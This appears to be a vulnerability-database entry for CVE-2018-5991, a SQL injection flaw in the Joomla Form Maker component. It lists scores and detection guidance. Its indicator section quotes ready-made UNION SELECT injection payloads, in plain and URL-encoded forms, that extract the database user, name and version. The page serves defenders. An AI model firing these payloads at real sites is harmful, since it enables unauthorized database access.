CVE-2018-5991

published 2018-02-17

CVE-2018-5991: SQL Injection exists in the Form Maker 3.6.12 component for Joomla! via the id, from, or to parameter in a view=stats request, a different vulnerability than…

Priority P2 62 critical 9.8 CVSS 3.0

AV N AC L PR N UI N S U C H I H A H

EXPLOIT

SQL Injection exists in the Form Maker 3.6.12 component for Joomla! via the id, from, or to parameter in a view=stats request, a different vulnerability than CVE-2015-2798.

Affected

1 ranges

Vendor	Product	Version range	Fixed in
web-dorado	form_maker	—	—

Detection & IOCs extracted from sources · hover to see the quote

url http://localhost/[PATH]/index.php?option=com_formmaker&view=stats&id=[SQL]↗

url http://localhost/[PATH]/index.php?option=com_formmaker&view=stats&form_id=1&id=1&from=[SQL]↗

url http://localhost/[PATH]/index.php?option=com_formmaker&view=stats&form_id=1&id=1&to=[SQL]↗

command index.php?option=com_formmaker&view=stats&id=1'++UNION+ALL+SELECT+CONCAT_WS(0x203a20,USER(),DATABASE(),VERSION())--+-↗

command index.php?option=com_formmaker&view=stats&form_id=1&id=1&from=1%27%20%20%55%4e%49%4f%4e%20%41%4c%4c%20%53%45%4c%45%43%54%20%43%4f%4e%43%41%54%5f%57%53%28%30%78%32%30%33%61%32%30%2c%55%53%45%52%28%29%2c%44%41%54%41%42%41%53%45%28%29%2c%56%45%52%53%49%4f%4e%28%29%29%2d%2d%20%2d%20↗

command index.php?option=com_formmaker&view=stats&form_id=1&id=1&to=1%27%20%20%55%4e%49%4f%4e%20%41%4c%4c%20%53%45%4c%45%43%54%20%43%4f%4e%43%41%54%5f%57%53%28%30%78%32%30%33%61%32%30%2c%55%53%45%52%28%29%2c%44%41%54%41%42%41%53%45%28%29%2c%56%45%52%53%49%4f%4e%28%29%29%2d%2d%20%2d%20↗

• → Detect SQLi attempts targeting the Joomla Form Maker component by monitoring HTTP requests containing 'option=com_formmaker' combined with 'view=stats' and SQL injection patterns (e.g., UNION, single-quote) in the 'id', 'from', or 'to' parameters. ↗
• → Flag requests where the 'id' parameter in a com_formmaker view=stats request contains a single-quote followed by UNION ALL SELECT, indicative of UNION-based SQL injection exploitation. ↗
• → Monitor for URL-encoded SQL injection payloads in the 'from' or 'to' parameters of com_formmaker view=stats requests; the encoded sequence %27%20%20%55%4e%49%4f%4e (decodes to ' UNION) is a strong indicator. ↗

• · The exploit PoC uses localhost paths; in real-world attacks the [PATH] segment will vary. Detection rules should not rely on a fixed path prefix but instead focus on the query string parameters (option=com_formmaker, view=stats) and injection patterns. ↗
• · Payloads are delivered both in plaintext ('+UNION+ALL+SELECT+) and URL-encoded form (%55%4e%49%4f%4e); detection must decode/normalize URLs before matching to avoid evasion. ↗

CVSS provenance

nvd v3.0 9.8 CRITICAL CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

nvd v2.0 7.5 HIGH AV:N/AC:L/Au:N/C:P/I:P/A:P

CVEs like this are exactly what “Exploited This Week” covers.

Every Monday: what got weaponized or added to CISA KEV in the last seven days — each CVE cross-linked to its PoC, Nuclei template, and detection rule. Free, one email a week, unsubscribe in one click.

CWE-89